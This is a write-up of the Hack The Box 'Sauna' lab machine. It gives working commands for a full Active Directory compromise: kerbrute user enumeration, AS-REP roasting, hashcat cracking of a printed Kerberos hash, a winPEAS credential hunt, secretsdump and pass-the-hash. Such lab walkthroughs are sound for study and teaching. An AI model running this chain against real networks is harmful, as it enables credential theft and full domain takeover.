nmap

nmap -sV -sC 10.10.10.175


Given the scan results, It can be assumed that Sauna is an Active Directory box since Kerberos and Active Directory LDAP are running

vim macro breakdown

we want to make a userlist to enumerate users with the kerbrute script ippsec utilized on this box

we can write a python script but if we can't utilize that tool we can also use vim macros to generate a nice user list without python



keystroke macros are:
'q' to start recording, 'a' to bind macro to a
yy - yoink line Fergus Smith
3p - paste yoinked line 3 times
‘home' button, ‘/’ to start search ‘spacebar’ to find the next empty space 'enter’ to set the vim curser on the space ‘s’ (to remove space) and ‘.’ and ‘esc' (to leave insert mode)
‘down arrow’, ‘home’ button, ‘right arrow’ to move cursor to Fergus ‘dw’ (delete word)
‘down arrow’, ‘home’ button, ‘right arrow’ to move cursor to Fergus ‘dw’ (delete word) ‘i’ (for insert mode) ‘.’, and ‘esc’ (to exit insert mode)
‘down arrow', ‘home' button', and finally ‘q’ to stop recording
now simply type ‘@a’ to repeat the macro once or
'<#>@a to repeat the macro # times ie 3@a = 3 loops of macro

our finished list looks like so

run kerbrute with userlist

we want to enumerate users on this box so thats the command we'll use


domain controller will be 10.10.10.175

also since we're attacking AD we'll use the DC which is Egotisitcal-bank.local

users.txt is our userlist we're using for enumertion

./kerbrute userenum --dc 10.10.10.175 -d egotistical-bank.local users.txt


we see FSmith is a valid user!

GetNPUser.py

we're going to take our enumerated user fsmith and see if
Queries target domain for users with 'Do not require Kerberos preauthentication' set and export their TGTs for cracking

GetNPUsers.py egotistical-bank.local/fsmith


since our name or service is not known, we should update our /etc/hosts file to add the domain to the IP




rerunning getNPUsers.py:

hashcat BF Kerb TGT

next step is to take our Kerb TGT hash and brute force it for its password with hashcat

lets save our TGT hash to the file hashes
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:fb4e09de7f354d54190236d4413391cc$6372bb4ee5984d94f423e136420f9bb1d8f202129558e51e607881a2f3ee1848238cc00bcb687c10f0b99923e3ef72b10b8674bca265ae9543cc3b97518758585207f56d8949000e03a926e4c58944639375f09ff14232614702648b3bd3d9217ac214521b63c8c6f5b79c808b85d9d8b41f8e167ac6f262888cce44b75aadc1bf3f252c4130e88c2a346ac73ba1800597c8890eed1025fbe69b61724f5f46f7ba6a40a0bf89354590375f4aff31552d16c536a91e2fb4bad1e1d335f37918752701d8025b471149f21088885223d0e3fb709a167fcebe85f75d4bbf1de09afe7348933e10138ecfe1594c3a50ef619e7b7ec3dac78d772e7fd22a13137ec57e

to find out which module to use we can grep hashcat formats for the string to find which module hashcat requires to crack Kerberos Hashes


18200 works here through trial and error


now to run hashcat:
hashcat -m 18200 hashes /usr/share/wordlists/rockyou.txt --force




PW: Thestrokes23

winPEAS

here is winPEAS binary location:

copy it to our working directory with cp



we can upload WinPEAS easily to our victim fsmith through our powershell session foothold with download
upload winPEAS.exe


winPEAS finds Autologon creds
svc_loadmanager
Moneymakestheworldgoround!

svc_loanmanager is the default username here but actually its svc_loanmgr


running net user

secretsdump.py

using our newfound creds thanks to winPEAS

svc_loanmgr
Moneymakestheworldgoround!

secretsdump.py egotistical-bank.local/svc_loanmgr@10.10.10.175

Moneymakestheworldgoround!



sercrets.py dumped all the password hashes of every user on the Sauna Box!, from here we can use psexec or evil-winrm to pass the Administrator's hash and log in